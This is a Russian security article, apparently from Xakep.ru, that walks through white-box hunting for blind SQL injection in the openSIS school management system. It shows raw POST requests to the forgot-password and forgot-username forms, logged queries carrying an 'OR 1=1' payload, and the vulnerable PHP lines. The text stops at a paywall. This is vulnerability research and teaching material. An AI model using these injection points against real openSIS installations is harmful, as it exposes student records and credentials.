Содержание статьи
info
Если ты вдруг не в курсе, как вообще работают SQL-инъекции, специально для тебя написана статья «SQL-инъекции. Разбираем на пальцах одну из самых популярных хакерских техник».
openSIS — это бесплатная и открытая информационная система для учебных заведений, доступная для школ и высших учебных заведений. Она разработана и поддерживается компанией Open Solutions for Education.
Я установил это приложение локально, что позволило мне видеть все запросы, отправляемые им в базу данных. Другими словами, тестирование проводилось методом белого ящика: знание кода и структуры данных позволило тщательно изучить, как обрабатывается то, что ввел пользователь, и как формируются SQL-запросы.
Я искал те места в коде, где ввод подставляется в SQL-запрос без должной проверки и чистки (валидации и санитизации). Давай посмотрим, что мне удалось найти.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Логирование
Первым делом нам потребуется настроить логирование запросов к базе данных. То есть нам нужно записывать выполняемые запросы к базе, чтобы потом по ним можно было посмотреть, как программа реагировала на то, что пользователь вводил на сайте. Это поможет нам нагляднее увидеть проблемы и воспользоваться ими.
В MySQL или MariaDB для включения логирования нужно выполнить следующее:
- Создать файл
mysql.
в директорииlog /
.var/ log/ mysql -
Изменить права на файл или папку и предоставить разрешения пользователю mysql:
chown mysql:mysql /var/log/mysql -R Открыть файл с настройками MySQL/MariaDB, обычно расположенный в
/
илиetc/ mysql/ my. cnf /
.etc/ my. cnf Найти секцию
[
(если ее нет, добавить самостоятельно).mysqld] -
Добавить или раскомментировать следующие строки для включения логирования запросов:
general_log = 1general_log_file = /var/log/mysql/mysql.log Перезапустить сервис MySQL/MariaDB, чтобы изменения вступили в силу.
Немного о SQLi
Забегая вперед, скажу, что мы найдем (но не будем эксплуатировать) «слепые» SQL-инъекции. В отличие от других форм SQLi, слепые SQL-инъекции не раскрывают данные напрямую и требуют тонкого подхода к извлечению данных. Слепые SQL-инъекции делятся на две основные категории: на основе булевых значений и на основе времени.
В булевой слепой SQLi мы изменяем SQL-запрос так, чтобы система возвращала булево значение — то есть ответ на то, истинно выражение или ложно. Этот тип атаки использует бинарную природу ответов: содержимое веб‑страницы или код ответа HTTP будет изменяться в зависимости от истинности внедренного запроса. Например, изменение запроса может привести к тому, что какие‑то элементы на веб‑странице будут появляться и исчезать в зависимости от того, истинны ли результаты запроса (условие существует в базе данных) или ложны (его нет).
Временные слепые SQL-инъекции более скрытны. Здесь мы внедряем SQL-команды, которые заставляют базу данных задуматься чуть дольше обычного, и используем это, чтобы вытащить из нее данные. Отсутствие визуальной обратной связи на странице делает эти атаки особенно трудными для обнаружения. Если условие запроса истинно, ответ базы данных намеренно задерживается, и отсутствие задержки означает «ложь». Измеряя время ответа, мы можем определить наличие или отсутствие конкретных данных в базе.
Неаутентифицированные SQLi
При поиске багов в приложении ты должен ориентироваться в первую очередь на уязвимости, которые не требуют аутентификации пользователя, так как они самые опасные. Я нашел две похожие SQL-инъекции в разделе «Студент» в функциях, отвечающих за восстановление имени пользователя и пароля.
Я отправил два запроса: первый, имитируя работу формы Forgot Password, второй — Forgot Username.
Forgot Password:
POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5
Forgot Username:
POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm
Вот в какие SQL-запросы это трансформировалось:
Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS
Как видишь, s.
не заключен в кавычки, что делает эту переменную уязвимой для SQL-инъекций. Я могу использовать полезную нагрузку XSS
:
tail -f /var/log/mysql/mysql.log | grep -i 'xss'2024-04-27T13:35:15.303711Z 9 Query
SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1
AND la.PROFILE_ID=3
2024-04-27T13:35:29.563796Z 10 Query
SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1
Вот как выглядит уязвимый код для восстановления юзернейма. Файл ResetUserInfo.
, строка 395:
$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));
А вот уязвимый код, который обрабатывает форму восстановления пароля. Файл ResetUserInfo.
, строка 296:
$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . '' AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));
Отсюда мы можем понять, что если грепнуть по выражению =' .
, то мы, вероятно, получим все параметры, которые не заключены в кавычки.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»